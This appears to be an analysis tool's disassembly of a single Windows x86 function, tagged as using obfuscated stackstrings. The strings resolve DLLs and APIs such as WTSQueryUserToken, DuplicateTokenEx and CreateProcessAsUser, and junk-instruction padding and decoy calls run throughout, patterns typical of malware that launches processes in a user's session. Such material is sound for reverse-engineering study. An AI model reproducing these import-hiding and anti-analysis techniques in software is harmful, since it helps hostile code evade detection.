Function at 0x402ae1
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4415fa
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x11c0
call fcn.00403560
mov eax, dword [0x44c014]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 0xc]
xor ebx, ebx
mov dword [ebp - 0x11b4], eax
mov dword [ebp - 0x11c0], ebx
mov dword [ebp - 4], ebx
call fcn.0040d702
xor ecx, ecx
inc ecx
test eax, eax
cmovs eax, ecx
cmp eax, 0xfffffffb
jl 0x4032fc
call fcn.0040d702
test eax, eax
push 1
pop ecx
cmovs eax, ecx
cmp eax, 0xfffffdee
jge 0x402b67
push ebx
push ebx
call dword [sym.imp.USER32.dll_SetCursorPos]
call fcn.00402963
jmp 0x403303
push ebx
xor ebx, eax
xor ebx, edx
sbb ebx, esp
xor ebx, esi
xor ebx, eax
mov ebx, 0xffdeee1
pop ebx
push 2
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
movaps xmm0, xmmword [0x4422b0]
lea eax, [ebp - 0x140]
push eax
xor ebx, ebx
mov dword [ebp - 0x6c], 0x61737477
lea eax, [ebp - 0x30]
mov dword [ebp - 0x68], 0x32336970
push eax
mov dword [ebp - 0x64], 0x6c6c642e
mov byte [ebp - 0x60], bl
mov dword [ebp - 0x30], 0x6e72654b
mov dword [ebp - 0x2c], 0x32336c65
mov dword [ebp - 0x28], 0x6c6c642e
mov byte [ebp - 0x24], bl
mov dword [ebp - 0x5c], 0x61766441
mov dword [ebp - 0x58], 0x32336970
mov dword [ebp - 0x54], 0x6c6c642e
mov byte [ebp - 0x50], bl
mov dword [ebp - 0x20], 0x72657355
mov dword [ebp - 0x1c], 0x2e766e45
mov dword [ebp - 0x18], 0x6c6c64
movups xmmword [ebp - 0x140], xmm0
mov dword [ebp - 0x130], 0x64496e6f
mov byte [ebp - 0x12c], bl
call fcn.00401a05
movaps xmm0, xmmword [0x4422f0]
mov dword [0x456628], eax
lea eax, [ebp - 0xdc]
push eax
lea eax, [ebp - 0x30]
mov dword [ebp - 0xcc], 0x53656c6f
push eax
movups xmmword [ebp - 0xdc], xmm0
mov dword [ebp - 0xc8], 0x69737365
mov dword [ebp - 0xc4], 0x64496e6f
mov byte [ebp - 0xc0], bl
call fcn.00401a05
movaps xmm0, xmmword [0x4422d0]
mov dword [0x45662c], eax
lea eax, [ebp - 0x128]
push eax
lea eax, [ebp - 0x20]
mov dword [ebp - 0x118], 0x6f6c4274
push eax
movups xmmword [ebp - 0x128], xmm0
mov word [ebp - 0x114], 0x6b63
mov byte [ebp - 0x112], bl
call fcn.00401a05
movaps xmm0, xmmword [str.RegisterServiceCCreateProcessAsUSysAllocStringLeWTSQueryUserTokeDestroyEnvironmeProcessIdToSessiStartServiceCtrlCreateEnvironmenGetForegroundWinWTSGetActiveConsSetServiceStatusDuplicateTokenEx0gE]
mov dword [0x456630], eax
lea eax, [ebp - 0xbc]
push eax
lea eax, [ebp - 0x5c]
mov dword [ebp - 0xac], 0x486c7274
push eax
movups xmmword [ebp - 0xbc], xmm0
mov dword [ebp - 0xa8], 0x6c646e61
mov dword [ebp - 0xa4], 0x78457265
mov word [ebp - 0xa0], 0x41
call fcn.00401a05
mov dword [0x456634], eax
lea eax, [ebp - 0x8c]
push eax
lea eax, [ebp - 0x6c]
mov dword [ebp - 0x8c], 0x46535457
push eax
mov dword [ebp - 0x88], 0x4d656572
mov dword [ebp - 0x84], 0x726f6d65
mov word [ebp - 0x80], 0x79
call fcn.00401a05
movaps xmm0, xmmword [0x4422a0]
mov dword [0x456638], eax
lea eax, [ebp - 0x110]
push eax
movups xmmword [ebp - 0x110], xmm0
mov dword [ebp - 0x100], 0x6c42746e
lea eax, [ebp - 0x20]
mov dword [ebp - 0xfc], 0x6b636f
push eax
call fcn.00401a05
movaps xmm0, xmmword [0x442280]
mov dword [0x45663c], eax
lea eax, [ebp - 0x168]
push eax
lea eax, [ebp - 0x40]
mov dword [ebp - 0x40], 0x41656c4f
push eax
mov dword [ebp - 0x3c], 0x32337475
mov dword [ebp - 0x38], 0x6c6c642e
mov byte [ebp - 0x34], bl
movups xmmword [ebp - 0x168], xmm0
mov word [ebp - 0x158], 0x6e
call fcn.00401a05
mov dword [0x456620], eax
lea eax, [ebp - 0x9c]
push eax
lea eax, [ebp - 0x40]
mov dword [ebp - 0x9c], 0x46737953
push eax
mov dword [ebp - 0x98], 0x53656572
mov dword [ebp - 0x94], 0x6e697274
mov word [ebp - 0x90], 0x67
call fcn.00401a05
add esp, 0x40
mov dword [ebp - 0x11bc], eax
push ebp
xor ebp, esp
xor ebp, edx
sbb ebp, eax
xor ebp, esi
xor ebp, esp
add ebp, eax
nop
pop ebp
call fcn.0040d702
test eax, eax
push 1
pop esi
cmovs eax, esi
xor ebx, ebx
cmp eax, 0xfffffdee
jge 0x402e05
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetWindowRect]
call fcn.004028b7
call fcn.0040d702
test eax, eax
cmovs eax, esi
cmp eax, 0xfffffffb
jge 0x402e21
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_SetWindowPos]
push edx
xor edx, edx
xor edx, edx
sbb edx, edx
xor edx, edx
xor edx, edx
sbb edx, edx
xor edx, edx
pop edx
xor eax, eax
inc eax
push 0x41
push eax
push 0x4566e8
call fcn.0040111a
add esp, 0xc
test eax, eax
je 0x402ec1
push 0x40
push 3
push 0x456668
call fcn.0040111a
add esp, 0xc
test eax, eax
je 0x402ec1
xor ecx, ecx
mov al, byte [ecx + 0x456668]
mov byte [ecx + 0x4566a8], al
inc ecx
test al, al
jne 0x402e5f
push ebx
mov ebx, 0x63ba9470
mov ebx, 0x4a18e7b9
add ebx, esi
pop ebx
xor eax, eax
inc eax
cmp dword [ebp + 8], eax
jle 0x403236
push eax
lea eax, [ebp - 0x1a8]
push eax
call fcn.00401613
mov ebx, dword [ebp - 0x11b4]
push eax
push dword [ebx + 4]
call fcn.0040d620
add esp, 0x10
test eax, eax
jne 0x402edd
call fcn.0040178a
push ebx
mov ebx, 0x95e83e95
sbb ebx, esp
xor ebx, esp
xor ebx, esp
sbb ebx, esp
pop ebx
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0040342f
leave
ret
lea eax, [ebp - 0x1a8]
push 2
push eax
call fcn.00401613
push eax
push dword [ebx + 4]
call fcn.0040d620
add esp, 0x10
test eax, eax
jne 0x402f02
call fcn.004027a2
jmp 0x402ec1
lea eax, [ebp - 0x1a8]
push 3
push eax
call fcn.00401613
push eax
push dword [ebx + 4]
call fcn.0040d620
add esp, 0x10
test eax, eax
jne 0x402f37
call fcn.00402444
push eax
mov eax, 0xf562d041
mov eax, 0x76d83d23
add eax, esi
sbb eax, eax
pop eax
jmp 0x402ec1
push 4
pop edi
lea eax, [ebp - 0x1a8]
push edi
push eax
call fcn.00401613
push eax
push dword [ebx + 4]
call fcn.0040d620
add esp, 0x10
test eax, eax
jne 0x402f61
call fcn.00402716
jmp 0x402ec1
cmp dword [ebp + 8], 3
jle 0x402ec1
lea eax, [ebp - 0x1a8]
push 5
push eax
call fcn.00401613
push eax
push dword [ebx + 4]
call fcn.0040d620
add esp, 0x10
test eax, eax
jne 0x402ec1
push dword [ebx + 0xc]
call fcn.004019c5
pop ecx
xor ecx, ecx
mov dword [ebp - 0x11b8], eax
inc ecx
movzx edx, cl
xor ecx, ecx
cmp eax, 0xffffffff
cmove edx, ecx
mov dword [ebp - 0x11ac], edx
test eax, eax
je 0x402ffa
push ebx
add ebx, esi
xor ebx, esp
add ebx, edx
add ebx, eax
xor ebx, esi
add ebx, esp
add ebx, edx
nop
pop ebx
mov edi, dword [ebp - 0x11b8]
xor esi, esi
cmp esi, 0x1e
jge 0x402feb
push 0x5dc
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
call fcn.004018f7
pop ecx
test eax, eax
je 0x402feb
inc esi
jmp 0x402fcd
mov edx, dword [ebp - 0x11ac]
mov ebx, dword [ebp - 0x11b4]
push 4
pop edi
xor eax, eax
lea ecx, [ebp - 0x1a8]
mov dword [ebp - 0x11b8], eax
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40300b
sub ecx, esi
test ecx, ecx
jle 0x402ec1
push 0x10
test dl, dl
pop eax
cmovne eax, edi
mov ecx, dword [eax + ebx]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40302a
sub ecx, edx
mov dword [ebp - 0x11b0], ecx
push edi
mov edi, 0xe12468ae
add edi, esp
xor edi, esp
pop edi
mov esi, dword [ebp - 0x11b0]
test esi, esi
jle 0x402ec1
cmp byte [ebp - 0x11ac], 0
je 0x4030ac
mov edi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea eax, [ebp - 0x1a8]
xor ebx, ebx
push ebx
push ebx
push esi
push eax
push ebx
push ebx
call edi
mov dword [ebp - 0x11b0], eax
test eax, eax
jle 0x403098
push eax
push ebx
call dword [0x456620]
push dword [ebp - 0x11b0]
mov dword [ebp - 0x11ac], eax
push eax
lea eax, [ebp - 0x1a8]
jmp 0x403106
push edx
mov edx, 0x11949921
mov edx, 0x9d179210
xor edx, eax
nop
pop edx
jmp 0x402ec1
mov eax, dword [ebp - 0x11b4]
lea edx, [ebp - 0x11a8]
mov ecx, dword [eax + 0x10]
sub edx, ecx
mov al, byte [ecx]
mov byte [ecx + edx], al
inc ecx
test al, al
jne 0x4030bd
mov edi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea eax, [ebp - 0x11a8]
xor ebx, ebx
push ebx
push ebx
push esi
push eax
push ebx
push ebx
call edi
mov dword [ebp - 0x11b0], eax
test eax, eax
jle 0x403223
push eax
push ebx
call dword [0x456620]
push dword [ebp - 0x11b0]
mov dword [ebp - 0x11ac], eax
push eax
lea eax, [ebp - 0x11a8]
push esi
push eax
push ebx
push ebx
call edi
push esi
mov esi, 0x293a4d62
mov esi, 0xf1f8020d
nop
pop esi
mov esi, dword [ebp - 0x11b4]
mov edi, dword [esi + 8]
lea ecx, [edi + 1]
mov al, byte [edi]
inc edi
test al, al
jne 0x403125
xor ebx, ebx
sub edi, ecx
push ebx
push ebx
push edi
push dword [esi + 8]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov dword [ebp - 0x11b0], eax
test eax, eax
jle 0x4031ce
push eax
push ebx
call dword [0x456620]
push dword [ebp - 0x11b0]
mov dword [ebp - 0x11b8], eax
push eax
push edi
push dword [esi + 8]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movaps xmm0, xmmword [0x4422e0]
lea eax, [ebp - 0x154]
push eax
lea eax, [ebp - 0x4c]
mov dword [ebp - 0x4c], 0x72657355
push eax
mov dword [ebp - 0x48], 0x642e3233
mov word [ebp - 0x44], 0x6c6c
mov byte [ebp - 0x42], bl
movups xmmword [ebp - 0x154], xmm0
mov dword [ebp - 0x144], 0x776f64
call fcn.00401a05
pop ecx
pop ecx
call eax
push dword [ebp - 0x11ac]
mov ecx, eax
mov eax, dword [ebp - 0x11b8]
push eax
push ecx
call fcn.00401d78
add esp, 0xc
mov dword [ebp - 0x11c0], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [ebp - 0x11bc], ebx
je 0x403208
push eax
mov eax, 0x45b42699
add eax, eax
xor eax, eax
nop
pop eax
mov eax, dword [ebp - 0x11ac]
mov ebx, dword [ebp - 0x11bc]
test eax, eax
je 0x4031fb
push eax
call ebx
mov eax, dword [ebp - 0x11b8]
test eax, eax
je 0x403208
push eax
call ebx
push ebx
xor ebx, eax
sbb ebx, esp
xor ebx, eax
xor ebx, esp
sbb ebx, eax
xor ebx, esp
xor ebx, eax
pop ebx
mov eax, dword [ebp - 0x11c0]
jmp 0x402ec3
push ebx
sbb ebx, edx
add ebx, edx
sbb ebx, edx
sbb ebx, edx
add ebx, edx
sbb ebx, edx
pop ebx
jmp 0x402ec1
xor ebx, ebx
mov dword [ebp - 0x11d0], 0x456668
mov dword [ebp - 0x11cc], 0x402616
mov dword [ebp - 0x11c8], ebx
mov dword [ebp - 0x11c4], ebx
call fcn.0040d702
test eax, eax
push 1
pop ecx
cmovs eax, ecx
cmp eax, 0xfffffdee
jge 0x403279
push ebx
push ebx
call dword [sym.imp.USER32.dll_SetLastErrorEx]
jmp 0x403303
push ebx
mov ebx, 0xb7eb225a
sbb ebx, eax
sbb ebx, esp
add ebx, eax
sbb ebx, esp
pop ebx
movaps xmm0, xmmword [0x4422c0]
xor eax, eax
mov byte [ebp - 0x70], al
lea eax, [ebp - 0xf8]
push eax
lea eax, [ebp - 0x7c]
mov dword [ebp - 0x7c], 0x61766441
push eax
mov dword [ebp - 0x78], 0x32336970
mov dword [ebp - 0x74], 0x6c6c642e
movups xmmword [ebp - 0xf8], xmm0
mov dword [ebp - 0xe8], 0x70736944
mov dword [ebp - 0xe4], 0x68637461
mov dword [ebp - 0xe0], 0x417265
call fcn.00401a05
pop ecx
pop ecx
test eax, eax
je 0x402ec1
lea ecx, [ebp - 0x11d0]
push ecx
call eax
jmp 0x402ec1
push ebx
call dword [sym.imp.USER32.dll_GetDC]
call fcn.00402865
int3